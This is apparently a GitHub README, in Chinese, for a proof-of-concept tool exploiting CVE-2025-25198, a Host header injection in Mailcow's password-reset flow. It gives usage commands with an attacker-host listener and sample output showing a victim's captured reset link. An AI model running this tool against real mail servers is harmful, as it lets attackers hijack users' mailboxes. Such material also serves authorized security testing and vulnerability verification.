Groppoxx/CVE-2025-25198-PoC

GitHub: Groppoxx/CVE-2025-25198-PoC

这是一个用于自动化验证CVE-2025-25198漏洞的PoC工具,专门测试Mailcow密码重置流程中的Host头注入问题。

Stars: 20 | Forks: 1

# CVE-2025-25198概念验证 [**CVE-2025-25198**](https://nvd.nist.gov/vuln/detail/CVE-2025-25198) 概念验证工具,该漏洞是一个影响 Mailcow 密码重置流程的 Host 头注入问题。 该脚本在 `443` 端口启动本地 HTTPS 监听器,自动获取有效的 CSRF 令牌,使用被污染的 `Host` 头发送密码重置序列,并在从 HTTP 响应或监听器回调中恢复出重置链接后停止。 ## 功能说明 1. 使用自签名证书启动 HTTPS 监听器。 2. 创建一个全新的 HTTP 客户端会话。 3. 自动获取 CSRF 令牌。 4. 使用受控的 `Host` 头发送重置流程。 5. 从响应和重定向中提取重置链接。 6. 如果目标通过带外方式发送链接,则等待监听器命中。 7. 遇到第一个有效重置链接时停止,并清晰地打印该链接。 ## 依赖要求 ``` Python 3.8+ OpenSSL in PATH sudo/root privileges to bind port 443 Inbound TCP/443 reachable from the target ``` 安装依赖项: ``` pip install -r requirements.txt ``` ## 快速开始 尖括号包裹的值是占位符。请替换为你自己的值,并且不要包含 `<` 或 `>` 字符。 ``` sudo python3 cve_2025_25198.py \ --listen-host 0.0.0.0 \ --base-url \ --username \ --attacker-host \ --http2 ``` ### 占位符说明 ``` # Target Mailcow base URL. Example: https://mail.example.com # Mailbox/user passed to the reset form. Usually an email address. # IP or DNS name that the target can reach on TCP/443. ``` ## 完整示例 ``` sudo python3 cve_2025_25198.py \ --listen-host 0.0.0.0 \ --base-url https://mail.cows.com \ --username michael@cows.com \ --attacker-host 10.10.13.12 \ --http2 ``` 示例输出: ``` [2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443 [2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef... [2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host [2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200] ╔════════════════════════════════════════════════════════════════════════════════╗ ║ RESET LINK FOUND! (listener) ║ ╟════════════════════════════════════════════════════════════════════════════════╢ ║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║ ║ Target: mail.cows.com ║ ╚════════════════════════════════════════════════════════════════════════════════╝ ``` ## 演示 [![asciicast](https://asciinema.org/a/750363.svg)](https://asciinema.org/a/750363) ## 可选标志 ``` --http2 Use HTTP/2 via httpx. Recommended for best parity with modern browsers. --interval Seconds between attempts and listener wait windows. Default: 8 --max-attempts Stop after N attempts. Default: 0, which means retry indefinitely. --cookie '' Seed the client cookie jar manually. Example: --cookie 'PHPSESSID=abcdef123456; another=value' --csrf Use a known CSRF token instead of auto-discovery. --only-final Hide progress logs and print only the final reset-link banner. ``` ## 注意事项 - 监听器始终绑定到 `443` 端口。 - 在 Linux/macOS 上,绑定 `443` 端口需要 `sudo` 或 root 权限。 - 目标必须能够访问 `https:///`。 - 如果在 HTTP 响应中找到重置链接,脚本将立即退出。 - 如果在响应中未找到链接,脚本将等待对 HTTPS 监听器的回调。 - 如果未恢复到链接,序列默认每 8 秒重试一次。 - 如果缺少 `server.pem` 和 `server.key`,它们会自动生成。 ## 法律声明 本概念验证工具旨在用于**授权的安全测试**、实验室环境和漏洞验证。 请勿在没有明确许可的情况下对系统使用它。
标签:CISA项目, CSRF处理, CVE-2025-25198, Host头中毒, HTTP/2, HTTPS, Mailcow漏洞, Maven, OpenSSL, Python, Web安全, 安全测试工具, 安全漏洞, 密码重置, 攻击技术, 无后门, 概念验证, 漏洞验证, 网络安全, 蓝队分析, 逆向工具, 隐私保护